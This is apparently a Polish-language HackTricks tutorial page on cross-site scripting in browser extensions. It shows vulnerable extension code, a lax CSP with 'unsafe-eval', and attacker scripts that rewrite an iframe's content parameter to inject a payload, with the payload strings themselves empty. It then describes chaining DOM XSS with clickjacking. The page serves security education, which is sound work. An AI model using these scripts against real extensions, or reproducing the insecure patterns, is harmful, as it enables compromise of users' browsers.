# BrowExt - Przykład XSS {{#include ../../banners/hacktricks-training.md}} ## Cross-Site Scripting (XSS) przez Iframe W tej konfiguracji implementowany jest **skrypt zawartości**, który instancjonuje Iframe, włączając URL z parametrami zapytania jako źródło Iframe: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details" frame.src = constructedURL }) ``` Strona HTML dostępna publicznie, **`message.html`**, jest zaprojektowana do dynamicznego dodawania treści do ciała dokumentu na podstawie parametrów w URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search) let userContent = urlParams.get("content") $(document.body).html( `${userContent} ` ) $("#detailBtn").on("click", () => { let destinationURL = urlParams.get("redirect") chrome.tabs.create({ url: destinationURL }) }) }) ``` Złośliwy skrypt jest wykonywany na stronie przeciwnika, modyfikując parametr `content` źródła Iframe, aby wprowadzić **ładunek XSS**. Osiąga się to poprzez zaktualizowanie źródła Iframe, aby zawierało szkodliwy skrypt: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src let baseURL = targetFrame.split("?")[0] let xssPayload = "" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` Zbyt liberalna polityka bezpieczeństwa treści, taka jak: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` pozwala na wykonanie JavaScript, co sprawia, że system jest podatny na ataki XSS. Alternatywne podejście do wywołania XSS polega na utworzeniu elementu Iframe i ustawieniu jego źródła, aby zawierało szkodliwy skrypt jako parametr `content`: ```javascript let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent("") document.body.append(newFrame) ``` ## DOM-based XSS + ClickJacking Ten przykład pochodzi z [oryginalnego opisu](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Główny problem wynika z podatności na Cross-site Scripting (XSS) opartej na DOM, znajdującej się w **`/html/bookmarks.html`**. Problemowy JavaScript, część **`bookmarks.js`**, jest szczegółowo opisany poniżej: ```javascript $("#btAdd").on("click", function () { var bookmarkName = $("#txtName").val() if ( $(".custom-button .label").filter(function () { return $(this).text() === bookmarkName }).length ) return false var bookmarkItem = $('
') bookmarkItem.html('' + bookmarkName + "") bookmarkItem.append('') bookmarkItem.attr("data-title", bookmarkName) bookmarkItem.data("timestamp", new Date().getTime()) $("section.bookmark-container .existing-items").append(bookmarkItem) persistData() }) ``` Ten fragment pobiera **wartość** z pola wejściowego **`txtName`** i używa **konkatenacji łańcuchów do generowania HTML**, który następnie jest dodawany do DOM za pomocą funkcji `.append()` jQuery. Zazwyczaj Polityka Bezpieczeństwa Treści (CSP) rozszerzenia Chrome zapobiegałaby takim lukom. Jednak z powodu **rozluźnienia CSP z ‘unsafe-eval’** oraz użycia metod manipulacji DOM jQuery (które wykorzystują [`globalEval()`](https://api.jquery.com/jquery.globaleval/) do przekazywania skryptów do [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) po wstawieniu do DOM), wykorzystanie jest nadal możliwe. Chociaż ta luka jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ładunku XSS i aktywacji przycisku „Dodaj”. Aby wzmocnić tę lukę, wykorzystuje się wtórną lukę **clickjacking**. Manifest rozszerzenia Chrome pokazuje rozbudowaną politykę `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Należy zauważyć, że strona **`/html/bookmarks.html`** jest podatna na ramkowanie, a zatem wrażliwa na **clickjacking**. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu wprowadzenia w błąd interfejsu. Ta manipulacja prowadzi ofiary do niezamierzonego interakcji z podstawową rozszerzeniem. ## References - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}}